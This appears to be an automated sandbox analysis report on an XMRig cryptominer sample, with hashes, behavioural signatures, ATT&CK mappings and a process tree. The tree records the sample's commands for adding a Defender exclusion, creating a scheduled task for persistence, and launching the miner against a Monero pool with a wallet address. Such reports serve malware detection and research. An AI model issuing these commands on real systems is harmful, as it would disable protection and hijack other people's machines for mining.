xmrig | 95ef73be500fc3f3dfa432185a5b1fb7852ea7efbd2bc78d95cea1b9b938516a

Analysis

max time kernel
62s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
15/11/2022, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 1.7MB
Sample221115-ea3daaeg85
SHA256 95ef73be500fc3f3dfa432185a5b1fb7852ea7efbd2bc78d95cea1b9b938516a
MD5 bf5911b9a89c6b6e00d64eda2d314e3f
SHA1 09bf4d0b1435c675f1df86b64617b1f0d82135e1
SHA512 8503163a31583824b2d4d9ebdf5ec7a41f9da3f57c4457ed23ad7a8a1f23b8aef1a89eabebd6bb87a038749ab4aea906b9e81f19498ada4a6ccf027a5a2ce0ed
SSDEEP 24576:BNSrGbkcjPKHFlrDKNQQlSI1fjeaVNkXbGqqpW4w9RO:Rk4InrUhlSaIC9lGO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2732-185-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2732-186-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2732-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2732-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2732-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2732-192-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2084	AVPTQBAEW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	AVPTQBAEW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2084 set thread context of 2732	2084	AVPTQBAEW.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2836	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4280	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe
2824	powershell.exe
2824	powershell.exe
2084	AVPTQBAEW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1092	file.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	2084	AVPTQBAEW.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeLockMemoryPrivilege	2732	vbc.exe
Token: SeLockMemoryPrivilege	2732	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2732	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1092 wrote to memory of 4968	1092	file.exe	79
PID 1092 wrote to memory of 4968	1092	file.exe	79
PID 1092 wrote to memory of 4840	1092	file.exe	81
PID 1092 wrote to memory of 4840	1092	file.exe	81
PID 4840 wrote to memory of 4280	4840	cmd.exe	83
PID 4840 wrote to memory of 4280	4840	cmd.exe	83
PID 4840 wrote to memory of 2084	4840	cmd.exe	84
PID 4840 wrote to memory of 2084	4840	cmd.exe	84
PID 2084 wrote to memory of 2824	2084	AVPTQBAEW.exe	88
PID 2084 wrote to memory of 2824	2084	AVPTQBAEW.exe	88
PID 2084 wrote to memory of 1904	2084	AVPTQBAEW.exe	90
PID 2084 wrote to memory of 1904	2084	AVPTQBAEW.exe	90
PID 1904 wrote to memory of 2836	1904	cmd.exe	93
PID 1904 wrote to memory of 2836	1904	cmd.exe	93
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96
PID 2084 wrote to memory of 2732	2084	AVPTQBAEW.exe	96

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC42F.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4280
- - C:\ProgramData\WindowsMail\AVPTQBAEW.exe
    "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2824
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1904
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:2836
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.7MB
SHA256 95ef73be500fc3f3dfa432185a5b1fb7852ea7efbd2bc78d95cea1b9b938516a
MD5 bf5911b9a89c6b6e00d64eda2d314e3f
SHA1 09bf4d0b1435c675f1df86b64617b1f0d82135e1
SHA512 8503163a31583824b2d4d9ebdf5ec7a41f9da3f57c4457ed23ad7a8a1f23b8aef1a89eabebd6bb87a038749ab4aea906b9e81f19498ada4a6ccf027a5a2ce0ed
SSDEEP 24576:BNSrGbkcjPKHFlrDKNQQlSI1fjeaVNkXbGqqpW4w9RO:Rk4InrUhlSaIC9lGO
MD5 SHA1 SHA512 SSDEEP

Submit Download

AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.7MB
SHA256 95ef73be500fc3f3dfa432185a5b1fb7852ea7efbd2bc78d95cea1b9b938516a
MD5 bf5911b9a89c6b6e00d64eda2d314e3f
SHA1 09bf4d0b1435c675f1df86b64617b1f0d82135e1
SHA512 8503163a31583824b2d4d9ebdf5ec7a41f9da3f57c4457ed23ad7a8a1f23b8aef1a89eabebd6bb87a038749ab4aea906b9e81f19498ada4a6ccf027a5a2ce0ed
SSDEEP 24576:BNSrGbkcjPKHFlrDKNQQlSI1fjeaVNkXbGqqpW4w9RO:Rk4InrUhlSaIC9lGO
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
MD5 SHA1 SHA512

Submit Download

tmpC42F.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpC42F.tmp.bat
Size 149B
SHA256 f2ed0cb814ee16bdb07789b78d15003b08cab9ce21d8c1caf7a2113307810d36
MD5 979b6338b753a44fc49f57268d09a1a7
SHA1 60c10ad67a80ac4b6262adcdc31740b54a8398dc
SHA512 25f2160c890dcc215be03e292fd97ab59a5307da1fee5a10d322aeb789009213b0e8aa083352bd7c459dba3828027d13e0d127c2fb71c2fc62446b6f4e4736cd
MD5 SHA1 SHA512

Submit Download

memory/1092-142-0x0000000000B50000-0x0000000000D60000-memory.dmp

Download

memory/1092-137-0x00007FFD2CC60000-0x00007FFD2CE01000-memory.dmp

Download

memory/1092-140-0x0000000000B50000-0x0000000000D60000-memory.dmp

Download

memory/1092-141-0x00007FFD117D0000-0x00007FFD1191E000-memory.dmp

Download

memory/1092-143-0x0000000000A10000-0x0000000000A53000-memory.dmp

Download

memory/1092-138-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/1092-144-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/1092-139-0x00007FFD2DF10000-0x00007FFD2DF3B000-memory.dmp

Download

memory/1092-134-0x00007FFD2D820000-0x00007FFD2D8BE000-memory.dmp

Download

memory/1092-136-0x00007FFD11920000-0x00007FFD119DD000-memory.dmp

Download

memory/1092-148-0x0000000000B50000-0x0000000000D60000-memory.dmp

Download

memory/1092-149-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/1092-133-0x00007FFD11A70000-0x00007FFD11B1A000-memory.dmp

Download

memory/1092-135-0x00007FFD29A70000-0x00007FFD29A82000-memory.dmp

Download

memory/2084-164-0x00007FFD2DF10000-0x00007FFD2DF3B000-memory.dmp

Download

memory/2084-178-0x00007FFD2BCA0000-0x00007FFD2BCC7000-memory.dmp

Download

memory/2084-184-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/2084-158-0x00007FFD11930000-0x00007FFD119DA000-memory.dmp

Download

memory/2084-159-0x00007FFD2D820000-0x00007FFD2D8BE000-memory.dmp

Download

memory/2084-160-0x00007FFD29A70000-0x00007FFD29A82000-memory.dmp

Download

memory/2084-161-0x00007FFD11870000-0x00007FFD1192D000-memory.dmp

Download

memory/2084-162-0x00007FFD2CC60000-0x00007FFD2CE01000-memory.dmp

Download

memory/2084-163-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/2084-183-0x0000000000030000-0x0000000000240000-memory.dmp

Download

memory/2084-165-0x0000000000030000-0x0000000000240000-memory.dmp

Download

memory/2084-166-0x0000000000AE0000-0x0000000000B23000-memory.dmp

Download

memory/2084-168-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/2084-167-0x0000000000030000-0x0000000000240000-memory.dmp

Download

memory/2084-170-0x00007FFD113F0000-0x00007FFD1153E000-memory.dmp

Download

memory/2084-169-0x0000000000030000-0x0000000000240000-memory.dmp

Download

memory/2084-182-0x00007FFD2AF20000-0x00007FFD2AF5B000-memory.dmp

Download

memory/2084-181-0x00007FFD2D600000-0x00007FFD2D66B000-memory.dmp

Download

memory/2084-180-0x00007FFD0AA40000-0x00007FFD0AB42000-memory.dmp

Download

memory/2084-179-0x00007FFD116F0000-0x00007FFD11725000-memory.dmp

Download

memory/2732-185-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2732-191-0x0000011BAD2E0000-0x0000011BAD300000-memory.dmp

Download

memory/2732-196-0x0000011BAD320000-0x0000011BAD340000-memory.dmp

Download

memory/2732-195-0x0000011BAD300000-0x0000011BAD320000-memory.dmp

Download

memory/2732-194-0x0000011BAD320000-0x0000011BAD340000-memory.dmp

Download

memory/2732-193-0x0000011BAD300000-0x0000011BAD320000-memory.dmp

Download

memory/2732-192-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2732-190-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2732-189-0x0000011BAD290000-0x0000011BAD2B0000-memory.dmp

Download

memory/2732-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2732-187-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2824-175-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/2824-177-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/4968-153-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download

memory/4968-150-0x000001D075B60000-0x000001D075B82000-memory.dmp

Download

memory/4968-147-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp

Download